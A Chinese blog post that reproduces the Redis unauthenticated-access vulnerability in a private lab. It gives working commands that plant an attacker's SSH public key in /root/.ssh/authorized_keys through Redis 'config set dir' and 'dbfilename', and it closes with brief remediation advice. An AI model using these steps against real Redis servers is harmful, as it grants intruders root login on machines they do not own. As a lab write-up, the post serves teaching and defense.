漏洞复现篇--Redis未授权访问漏洞
Redis未授权访问漏洞
一、漏洞描述
Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。
二、影响版本
Redis 2.x,3.x,4.x,5.x
三、环境搭建
靶机:centos7 192.168.101.141
攻击机:kali 192.168.101.130
靶机安装redis:
1、wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2、tar xzf redis-2.8.17.tar.gz
3、cd redis-2.8.17
4、make
5、cd src
6、./redis-server
四、漏洞复现
4.1 测试客户端程序redis-cli和redis服务交互
redis-cli -h 192.168.101.141
4.2 ssh免密码配置
4.2.1 生成公钥/私钥对
ssh-keygen -t rsa -P ''
4.2.2 将公钥写入 1.txt 文件(文件名随意)
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
4.2.3 连接redis写入文件
1、cat 1.txt | redis-cli -h 192.168.101.141 -x set crackit
2、redis-cli -h 192.168.101.141
3、config set dir /root/.ssh/ //这一步如果失败,尝试在靶机执行ssh localhost
4、config get dir
5、config set dbfilename "authorized_keys"
6、save
4.3 利用私钥登录redis服务器
五、修复建议
1、采用绑定IP的方式来进行控制
2、设置密码,以提供远程登陆
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义